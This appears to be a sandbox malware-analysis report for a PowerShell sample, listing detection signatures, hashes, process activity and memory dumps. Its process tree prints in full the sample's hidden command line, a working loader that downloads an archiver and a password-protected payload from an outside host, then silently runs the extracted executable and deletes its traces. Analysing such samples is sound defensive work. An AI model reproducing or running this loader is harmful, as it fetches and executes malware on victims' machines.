Overview

overview

8

Static

static

1

script.ps1

windows10-2004-x64

8

script.ps1

windows11-21h2-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    05/05/2026, 07:45

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    script.ps1
  • Size 4KB
  • Sample260505-jlsqfaex4m
  • SHA256 0ff91511e6d7d2d58e0e605c159bd84fba9c2311672fa37b9f94c112002a5045
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
execution

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command [System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12;$g7='7z';$h8='wh195dV89dWg';$i9=Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $i9 -Force|Out-Null;$j10=Join-Path $i9 ([System.IO.Path]::GetRandomFileName()+'.exe');$k11=Join-Path $i9 ([System.IO.Path]::GetRandomFileName()+'.'+$g7);$l12=0;for($m13=0;$m13 -lt 3 -and -not $l12;$m13++){try{if(-not (Test-Path $j10)){Invoke-WebRequest -Uri 'https://nslsconscloud.beer/api/7z.exe' -OutFile $j10 -UseBasicParsing}Invoke-WebRequest -Uri 'https://nslsconscloud.beer/api/index.php?a=dl&token=027e8594694c63264e7550cff59b2d4a23c9397c3297155819949da8ba1d14fd&src=recaptcha&cb=chrome&ref=https%3A%2F%2Fcuprumas.com%2Fchecks%2Frecaped.php&mode=recaptcha' -OutFile $k11 -UseBasicParsing;if(Test-Path $k11){$l12=1}else{Start-Sleep -Seconds 2}}catch{Start-Sleep -Seconds 2}};if(-not (Test-Path $k11)){exit};$n14=Join-Path $i9 ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $n14 -Force|Out-Null;$o15=@('x','-y');if($h8 -ne ''){$o15+=('-p'+$h8)}$o15+=('-o'+$n14);$o15+=$k11;if(Test-Path $j10){& $j10 @o15|Out-Null}else{Start-Process -FilePath $k11 -WindowStyle Hidden};$p16=Get-ChildItem -Path $n14 -Filter *.exe -Recurse -File|Select-Object -First 1;$q17=Get-ChildItem -Path $n14 -Filter *.msi -Recurse -File|Select-Object -First 1;$r18=$null;$s19=$null;if($p16){$r18=$p16.FullName;$s19=$p16.Directory.FullName}elseif($q17){$r18=$q17.FullName;$s19=$q17.Directory.FullName}else{$r18=$k11};if($r18){if($s19){Start-Process -FilePath $r18 -WorkingDirectory $s19 -WindowStyle Hidden}else{Start-Process -FilePath $r18 -WindowStyle Hidden}};try{Remove-Item -LiteralPath $k11 -Force -ErrorAction SilentlyContinue}catch{};try{if(Test-Path $j10){Remove-Item -LiteralPath $j10 -Force -ErrorAction SilentlyContinue}}catch{};
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5080

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 acff94044f1e9ffa322ac7a6943f3395c35cb032ec74840ad3230718ac42adea
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_h5310gl2.arp.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h5310gl2.arp.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/5080-17-0x000001CC49A50000-0x000001CC49A60000-memory.dmp
        Download

        memory/5080-31-0x000001CC31890000-0x000001CC318A2000-memory.dmp
        Download

        memory/5080-29-0x000001CC2F9F0000-0x000001CC2FA21000-memory.dmp
        Download

        memory/5080-30-0x000001CC31300000-0x000001CC3130C000-memory.dmp
        Download

        memory/5080-27-0x000001CC49A50000-0x000001CC49A60000-memory.dmp
        Download

        memory/5080-25-0x000001CC49A50000-0x000001CC49A60000-memory.dmp
        Download

        memory/5080-16-0x000001CC49A50000-0x000001CC49A60000-memory.dmp
        Download

        memory/5704-9-0x0000025BA4850000-0x0000025BA4860000-memory.dmp
        Download

        memory/5704-13-0x0000025B8AAC0000-0x0000025B8AACC000-memory.dmp
        Download

        memory/5704-12-0x0000025B8A950000-0x0000025B8A981000-memory.dmp
        Download

        memory/5704-14-0x0000025BA4790000-0x0000025BA47A2000-memory.dmp
        Download

        memory/5704-0-0x0000025BA4850000-0x0000025BA4860000-memory.dmp
        Download

        memory/5704-2-0x0000025BA4960000-0x0000025BA4982000-memory.dmp
        Download

        memory/5704-1-0x0000025BA4850000-0x0000025BA4860000-memory.dmp
        Download